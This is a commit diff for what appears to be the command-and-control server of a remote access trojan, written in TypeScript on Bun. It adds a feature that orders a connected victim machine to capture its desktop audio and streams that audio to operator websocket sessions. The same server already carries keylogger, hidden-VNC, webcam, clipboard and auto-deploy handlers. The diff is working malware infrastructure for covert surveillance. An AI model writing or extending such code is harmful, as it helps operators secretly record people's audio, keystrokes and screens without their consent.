desktop audio and switches to turn up/down audio
This commit is contained in:
@@ -123,6 +123,12 @@ import {
|
||||
handleVoiceViewerMessage,
|
||||
handleVoiceViewerOpen,
|
||||
} from "./server/ws-voice";
|
||||
import {
|
||||
cleanupDesktopAudioViewer,
|
||||
handleDesktopAudioUplink,
|
||||
handleDesktopAudioViewerMessage,
|
||||
handleDesktopAudioViewerOpen,
|
||||
} from "./server/ws-desktop-audio";
|
||||
import { createNotificationPluginHandlers } from "./server/ws-notifications-plugin";
|
||||
import { loadOrGenerateVapidKeys } from "./server/web-push";
|
||||
import * as clientManager from "./clientManager";
|
||||
@@ -496,6 +502,7 @@ async function startServer() {
|
||||
handleProcessViewerOpen,
|
||||
handleKeyloggerViewerOpen,
|
||||
handleVoiceViewerOpen,
|
||||
handleDesktopAudioViewerOpen,
|
||||
handleDashboardViewerOpen: (ws: import("bun").ServerWebSocket<SocketData>) => {
|
||||
const id = crypto.randomUUID();
|
||||
ws.data.sessionId = id;
|
||||
@@ -564,6 +571,7 @@ async function startServer() {
|
||||
handleProcessViewerMessage,
|
||||
handleKeyloggerViewerMessage,
|
||||
handleVoiceViewerMessage,
|
||||
handleDesktopAudioViewerMessage,
|
||||
dispatchAutoScriptsForConnection,
|
||||
dispatchAutoDeploysForConnection: (info: import("./types").ClientInfo, ws: import("bun").ServerWebSocket<SocketData>) => {
|
||||
const proto = tls ? "https" : "http";
|
||||
@@ -603,12 +611,14 @@ async function startServer() {
|
||||
handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
|
||||
handleNotification: notificationPluginHandlers.handleNotification,
|
||||
handleVoiceUplink,
|
||||
handleDesktopAudioUplink,
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleHVNCLookupResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleClipboardContent,
|
||||
cleanupVoiceViewer,
|
||||
cleanupDesktopAudioViewer,
|
||||
stopConsoleOnTarget,
|
||||
sendDesktopCommand,
|
||||
sendHVNCCommand,
|
||||
|
||||
@@ -90,6 +90,8 @@ export type CommandType =
|
||||
| "voice_session_stop"
|
||||
| "voice_downlink"
|
||||
| "voice_capabilities"
|
||||
| "desktop_audio_start"
|
||||
| "desktop_audio_stop"
|
||||
| "process_list"
|
||||
| "process_kill"
|
||||
| "plugin_load"
|
||||
|
||||
@@ -44,6 +44,7 @@ type WsLifecycleDeps = {
|
||||
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleVoiceViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleDesktopAudioViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleChatViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleChatViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
@@ -55,6 +56,7 @@ type WsLifecycleDeps = {
|
||||
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleDesktopAudioViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
dispatchAutoLoadPlugins: (info: ClientInfo) => void;
|
||||
@@ -79,12 +81,14 @@ type WsLifecycleDeps = {
|
||||
handlePluginEvent: (clientId: string, payload: any) => void;
|
||||
handleNotification: (clientId: string, payload: any) => void;
|
||||
handleVoiceUplink: (clientId: string, payload: any) => void;
|
||||
handleDesktopAudioUplink: (clientId: string, payload: any) => void;
|
||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
|
||||
@@ -153,6 +157,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
||||
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
||||
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
|
||||
if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws);
|
||||
if (role === "desktop_audio_viewer") return deps.handleDesktopAudioViewerOpen(ws);
|
||||
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
|
||||
if (role === "chat_viewer") return deps.handleChatViewerOpen(ws);
|
||||
|
||||
@@ -204,6 +209,7 @@ export async function handleWebSocketMessage(
|
||||
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
||||
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
|
||||
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
|
||||
if (socketRole === "desktop_audio_viewer") return deps.handleDesktopAudioViewerMessage(ws, message);
|
||||
if (socketRole === "notifications_viewer") return;
|
||||
if (socketRole === "dashboard_viewer") return;
|
||||
if (socketRole === "chat_viewer") return deps.handleChatViewerMessage(ws, message);
|
||||
@@ -578,6 +584,9 @@ export async function handleWebSocketMessage(
|
||||
case "voice_uplink":
|
||||
deps.handleVoiceUplink(client.id, payload);
|
||||
break;
|
||||
case "desktop_audio_uplink":
|
||||
deps.handleDesktopAudioUplink(client.id, payload);
|
||||
break;
|
||||
case "webcam_devices":
|
||||
deps.handleWebcamDevices(client.id, payload);
|
||||
break;
|
||||
@@ -736,6 +745,11 @@ export function handleWebSocketClose(
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "desktop_audio_viewer") {
|
||||
deps.cleanupDesktopAudioViewer(ws);
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "notifications_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteNotificationSession(sessionId);
|
||||
|
||||
@@ -247,6 +247,26 @@ export async function handleWsUpgradeRoutes(
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const desktopAudioMatch = url.pathname.match(/^\/api\/clients\/(.+)\/desktop-audio\/ws$/);
|
||||
if (desktopAudioMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = desktopAudioMatch[1];
|
||||
const denied = checkOperatorAccess(user, clientId, "voice");
|
||||
if (denied) return denied;
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "desktop_audio_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import * as clientManager from "../clientManager";
|
||||
import { encodeMessage } from "../protocol";
|
||||
import * as sessionManager from "../sessions/sessionManager";
|
||||
import type { DesktopAudioViewer, SocketData } from "../sessions/types";
|
||||
import { canUserAccessClient } from "../users";
|
||||
|
||||
function sendDesktopAudioCommand(
|
||||
clientId: string,
|
||||
commandType: "desktop_audio_start" | "desktop_audio_stop",
|
||||
payload: Record<string, unknown>,
|
||||
) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) return false;
|
||||
try {
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: commandType as any,
|
||||
id: uuidv4(),
|
||||
payload,
|
||||
}),
|
||||
);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function safeJson(ws: ServerWebSocket<SocketData>, payload: Record<string, unknown>) {
|
||||
try {
|
||||
ws.send(JSON.stringify(payload));
|
||||
} catch {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleDesktopAudioViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId, userId, userRole } = ws.data;
|
||||
if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) {
|
||||
ws.close(1008, "Forbidden: client access denied");
|
||||
return;
|
||||
}
|
||||
const sessionId = uuidv4();
|
||||
ws.data.sessionId = sessionId;
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: DesktopAudioViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.addDesktopAudioSession(session);
|
||||
|
||||
safeJson(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeJson(ws, { type: "status", status: "offline", reason: "Client is offline" });
|
||||
return;
|
||||
}
|
||||
|
||||
safeJson(ws, { type: "status", status: "ready" });
|
||||
}
|
||||
|
||||
export function handleDesktopAudioViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const { clientId } = ws.data;
|
||||
if (typeof raw === "string") {
|
||||
try {
|
||||
const message = JSON.parse(raw);
|
||||
if (message?.type === "start") {
|
||||
const source = typeof message?.source === "string" ? message.source : "system";
|
||||
const started = sendDesktopAudioCommand(clientId, "desktop_audio_start", {
|
||||
source,
|
||||
sessionId: ws.data.sessionId,
|
||||
});
|
||||
safeJson(ws, { type: "status", status: started ? "connected" : "error" });
|
||||
return;
|
||||
}
|
||||
if (message?.type === "stop") {
|
||||
sendDesktopAudioCommand(clientId, "desktop_audio_stop", {});
|
||||
safeJson(ws, { type: "status", status: "disconnected" });
|
||||
}
|
||||
} catch {
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
export function handleDesktopAudioUplink(clientId: string, payload: any) {
|
||||
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
|
||||
const bytes = payload?.data instanceof Uint8Array
|
||||
? payload.data
|
||||
: payload?.data instanceof ArrayBuffer
|
||||
? new Uint8Array(payload.data)
|
||||
: ArrayBuffer.isView(payload?.data)
|
||||
? new Uint8Array(payload.data.buffer)
|
||||
: null;
|
||||
if (!bytes || bytes.byteLength === 0) return;
|
||||
|
||||
for (const session of sessionManager.getDesktopAudioSessionsByClient(clientId)) {
|
||||
if (sessionId && session.id !== sessionId) continue;
|
||||
try {
|
||||
session.viewer.send(bytes);
|
||||
} catch {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export function cleanupDesktopAudioViewer(ws: ServerWebSocket<SocketData>) {
|
||||
let removedClientId = ws.data.clientId;
|
||||
for (const [sid, session] of sessionManager.getAllDesktopAudioSessions().entries()) {
|
||||
if (session.viewer === ws) {
|
||||
removedClientId = session.clientId;
|
||||
sessionManager.deleteDesktopAudioSession(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const hasViewers = sessionManager.getDesktopAudioSessionsByClient(removedClientId).length > 0;
|
||||
if (!hasViewers) {
|
||||
sendDesktopAudioCommand(removedClientId, "desktop_audio_stop", {});
|
||||
}
|
||||
}
|
||||
@@ -5,6 +5,7 @@ import type {
|
||||
FileBrowserViewer,
|
||||
ProcessViewer,
|
||||
VoiceViewer,
|
||||
DesktopAudioViewer,
|
||||
NotificationsViewer,
|
||||
KeyloggerViewer,
|
||||
ChatViewer,
|
||||
@@ -36,6 +37,8 @@ const keyloggerSessions = new Map<string, KeyloggerViewer>();
|
||||
const keyloggerSessionsByClient = new Map<string, Set<string>>();
|
||||
const voiceSessions = new Map<string, VoiceViewer>();
|
||||
const voiceSessionsByClient = new Map<string, Set<string>>();
|
||||
const desktopAudioSessions = new Map<string, DesktopAudioViewer>();
|
||||
const desktopAudioSessionsByClient = new Map<string, Set<string>>();
|
||||
const dashboardSessions = new Map<string, DashboardViewer>();
|
||||
const chatSessions = new Map<string, ChatViewer>();
|
||||
|
||||
@@ -440,6 +443,34 @@ export function getAllVoiceSessions(): Map<string, VoiceViewer> {
|
||||
return voiceSessions;
|
||||
}
|
||||
|
||||
export function addDesktopAudioSession(session: DesktopAudioViewer): void {
|
||||
desktopAudioSessions.set(session.id, session);
|
||||
addSessionToClientIndex(desktopAudioSessionsByClient, session.clientId, session.id);
|
||||
}
|
||||
|
||||
export function deleteDesktopAudioSession(sessionId: string): boolean {
|
||||
const existing = desktopAudioSessions.get(sessionId);
|
||||
if (!existing) return false;
|
||||
desktopAudioSessions.delete(sessionId);
|
||||
removeSessionFromClientIndex(desktopAudioSessionsByClient, existing.clientId, sessionId);
|
||||
return true;
|
||||
}
|
||||
|
||||
export function getDesktopAudioSessionsByClient(clientId: string): DesktopAudioViewer[] {
|
||||
const ids = desktopAudioSessionsByClient.get(clientId);
|
||||
if (!ids || ids.size === 0) return [];
|
||||
const sessions: DesktopAudioViewer[] = [];
|
||||
for (const id of ids) {
|
||||
const session = desktopAudioSessions.get(id);
|
||||
if (session) sessions.push(session);
|
||||
}
|
||||
return sessions;
|
||||
}
|
||||
|
||||
export function getAllDesktopAudioSessions(): Map<string, DesktopAudioViewer> {
|
||||
return desktopAudioSessions;
|
||||
}
|
||||
|
||||
export function addDashboardSession(session: DashboardViewer): void {
|
||||
dashboardSessions.set(session.id, session);
|
||||
}
|
||||
|
||||
@@ -11,6 +11,7 @@ export type SocketRole =
|
||||
| "notifications_viewer"
|
||||
| "keylogger_viewer"
|
||||
| "voice_viewer"
|
||||
| "desktop_audio_viewer"
|
||||
| "dashboard_viewer"
|
||||
| "chat_viewer";
|
||||
|
||||
@@ -79,6 +80,13 @@ export type VoiceViewer = {
|
||||
createdAt: number;
|
||||
};
|
||||
|
||||
export type DesktopAudioViewer = {
|
||||
id: string;
|
||||
clientId: string;
|
||||
viewer: ServerWebSocket<SocketData>;
|
||||
createdAt: number;
|
||||
};
|
||||
|
||||
export type ChatViewer = {
|
||||
id: string;
|
||||
viewer: ServerWebSocket<SocketData>;
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "notifications_viewer";
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "desktop_audio_viewer" | "notifications_viewer";
|
||||
|
||||
const textEncoder = new TextEncoder();
|
||||
|
||||
@@ -26,6 +26,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"keylog_clear_result",
|
||||
"keylog_delete_result",
|
||||
"voice_uplink",
|
||||
"desktop_audio_uplink",
|
||||
"webcam_devices",
|
||||
"hvnc_clone_progress",
|
||||
"hvnc_lookup_result",
|
||||
|
||||
Reference in New Issue
Block a user